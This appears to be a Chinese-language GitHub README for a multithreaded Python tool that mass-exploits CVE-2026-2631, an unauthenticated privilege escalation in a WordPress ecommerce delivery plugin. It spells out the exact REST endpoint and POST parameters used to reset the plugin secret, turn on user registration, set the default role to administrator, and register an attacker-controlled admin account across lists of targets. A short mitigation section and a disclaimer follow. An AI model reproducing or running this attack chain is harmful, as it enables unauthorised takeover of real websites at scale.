Nxploited/CVE-2026-2631

GitHub: Nxploited/CVE-2026-2631

针对 WordPress Datalogics Ecommerce Delivery 插件未认证权限提升漏洞的自动化批量利用工具,可实现从密钥重置到管理员账户注册的完整攻击链。

Stars: 0 | Forks: 0

# CVE-2026-2631 Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - 未认证权限提升 # 💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – 未认证权限提升 ## 🧬 漏洞概述 - **插件:** Datalogics Ecommerce Delivery – Datalogics (WordPress) - **受影响版本:** `< 2.6.60` (不含) - **漏洞类型:** 未认证权限提升 - **CVE:** `CVE-2026-2631` - **CVSS v3.1:** `9.8 (严重)` `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` - **公开发布时间:** 2026年3月12日 - **最后更新时间:** 2026年3月19日 - **研究员:** **Khaled Alenazi (Nxploited)** `Datalogics Ecommerce Delivery – Datalogics` 插件暴露了一个未经认证的端点: ``` /wp-json/gsf/v1/update-options ``` 此脚本利用该端点进行以下操作: 1. 💣 利用易受攻击的 `resetStoreConfigrations` action 重置内部 `shop_secret` 密钥。 2. 🔓 开启用户注册功能:`users_can_register = 1`。 3. 👑 将新用户的默认角色设置为 `administrator`:`default_role = administrator`。 4. 🧑‍💻 通过 WordPress 注册表单自动注册一个新用户: - `wp-login.php?action=register` 如果成功,任何通过注册表单创建的新用户都将是 **administrator(管理员)**。 ## ⚙️ 功能特性 - ✅ 针对多个 WordPress 目标进行 **批量利用**(从文件读取)。 - ✅ **无需认证**(无需登录/Cookies)。 - ✅ 通过易受攻击的 REST 端点 **自动重置 shop_secret**。 - ✅ **自动更新 WordPress 选项**: - `users_can_register = 1` - `default_role = administrator` - ✅ 使用自定义凭据 **自动注册账户**。 - ✅ 使用 `rich` 库输出 **富文本 TUI**(彩色且实时更新的表格)。 - ✅ **多线程** 且线程数可调。 - ✅ 将结果记录到 `Login_admin.txt`。 ## 📦 环境要求 ### 🐍 运行时 - Python **3.x** (推荐 3.8+) ### 📚 Python 包 安装所需的包: ``` pip install -r requirements.txt ``` 示例 `requirements.txt`: ``` requests rich urllib3 ``` 或者手动安装: ``` pip install requests rich urllib3 ``` ## 🧪 脚本逻辑(高层流程) 对于每个目标: 1. **标准化 URL** - 如果缺失则确保添加 `http://` 前缀。 - 去除末尾的斜杠。 2. **重置 `shop_secret`** - 端点: `/wp-json/gsf/v1/update-options` - POST 数据: - `action = resetStoreConfigrations` - `shop_secret = ` - 查找响应文本: - `app secret key has been updated successfully` 3. **更新 WordPress 选项** - 同一端点,参数为: - `action = createUpdateOption` - 两次选项更新: 1. `option_key = users_can_register`, `option_value = 1` 2. `option_key = default_role`, `option_value = administrator` - 成功标志: - `wordpress option has been created or updated successfully` 4. **检查注册是否开启** - URL: `/wp-login.php?action=register` - 检查 HTML 是否包含: - `Users can register`, `Anyone can register`, `user_registration`, `registerform` - 或明确检测到: - `user registration is currently not allowed` 5. **尝试用户注册** - 同一个注册 URL。 - 如果存在隐藏输入框则提取 `_wpnonce`。 - 发送注册 POST 请求: - `user_login`, `user_email` - 如果存在密码字段则发送 `user_pass`/`user_pass2` - `_wpnonce`, `_wp_http_referer`, `redirect_to`, `wp-submit=Register` - 通过以下内容检测成功: - `registration complete`, `check your email`, `user registered` - 如果用户名已存在: - 标记为成功:`user_already_exists` 6. **日志记录** - 每次成功的选项更新(无论注册是否成功)都会写入一行到: - `Login_admin.txt` - 格式: | register_url: | shop_secret: |
``` #### 2. 更新选项 ``` action=createUpdateOption shop_secret= option_key=users_can_register option_value=1 ``` ``` action=createUpdateOption shop_secret= option_key=default_role option_value=administrator ``` ### 🧑‍💻 注册端点 ``` GET/POST /wp-login.php?action=register ``` 脚本: - 如果存在 `_wpnonce` 则提取它。 - 使用提供的用户名、邮箱和密码(如果字段存在)发送注册数据。 ## 🔧 脚本内部逻辑(关键函数) - `normalize_site(raw: str) -> str` 标准化目标 URL。 - `send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)` 尝试 `resetStoreConfigrations` action。 - `send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)` 通过易受攻击的端点设置 WordPress 选项。 - `check_registration_open(site: str, timeout: int = 10) -> (bool, str)` 检查注册是否开启且表单可访问。 - `try_register_user(...) -> (bool, str)` 尝试注册提供的用户。 - `write_success_line(site: str, secret: str, detail: str)` 将成功详情记录到 `Login_admin.txt`。 - `worker(...)` 每线程工作函数,执行: 1. 重置 `shop_secret` 2. 设置选项 3. 检查注册 4. 尝试注册 5. 记录结果并将状态推送到队列 - `printer_loop(queue: Queue, total: int)` 从队列读取消息并更新 `rich` 实时表格 UI。 - `main()` 编排以下流程: - 横幅 - 用户提示 - 目标加载 - 线程生成 - 等待线程结束并输出最终消息。 ## 🧪 示例运行(交互式) ``` $ python3 CVE-2026-2631.py [Banner / ASCII Art] Targets file (one host/URL per line) [list.txt]: > list.txt Threads (1-50) [10]: > 20 shop_secret [Nxploited_newSecret]: > NxSecret2026! Registration username [Nx_test1]: > admin_nx Registration email [nxploited1@gmail.com]: > admin@poc.local Registration password [Nx_adminSA]: > SuperStrongP@ss! [Live table starts showing each target’s status] Processed 5/20 targets · Output: Login_admin.txt Done. Successful sites (if any) saved to Login_admin.txt. ``` ## 🛡️ 缓解措施与建议 - 🔁 立即 **更新插件** 至 **2.6.60 或更高版本**。 - 🧹 审查: - WordPress 用户列表中是否存在未知的管理员。 - `wp_users` 中的最近注册记录。 - 🔑 重新生成插件使用的任何密钥或 secrets。 - 📜 检查访问日志中对以下内容的请求: - `/wp-json/gsf/v1/update-options` - `/wp-login.php?action=register` - 🧱 考虑使用 WAF 规则阻止对敏感 REST 端点的未授权访问。 ## ⚠️ 法律免责声明 - 您 **绝不能** 在 **未经所有者明确书面许可** 的情况下在任何系统、应用程序或网络上使用此工具。 - 未经授权的访问、利用或滥用漏洞是 **违法的**,可能会导致 **刑事指控**。 - 本脚本的作者 (**Khaled Alenazi – Nxploited**)、贡献者和分发者: - ❌ **不对** 以下情况承担任何责任或义务: - 此代码的滥用 - 直接或间接造成的损害 - 使用此工具导致的任何法律后果 - 使用此脚本即 **表示您同意**: - 您对自己的行为负全责。 - 您将遵守所有适用的地方、国家和国际法律法规。 - 您将 **仅** 在受控环境中和/或 **获得适当授权** 的情况下使用此工具(渗透测试/红队、漏洞赏金、实验室等)。 如果您不同意这些条款,**请勿使用此脚本。** ## ❤️ 致谢 - **研究与利用:** - **Khaled Alenazi (Nxploited)** – Nxploited ZeroDay Hub - **CVE:** `CVE-2026-2631` - **联系方式:** Telegram `@Kxploit` 保持安全,负责任地黑客。 🕶️💻
标签:CISA项目, CVE-2026-2631, CVSS 9.8, Datalogics Ecommerce Delivery, PoC, Python, RCE, Web安全, Web报告查看器, WordPress插件漏洞, WP-REST-API, 批量漏洞扫描, 文件完整性监控, 无后门, 暴力破解, 未授权权限提升, 漏洞利用脚本, 特权提升, 管理员创建, 编程工具, 自动化部署, 自动注册攻击, 蓝队分析, 认证绕过, 远程代码执行, 逆向工具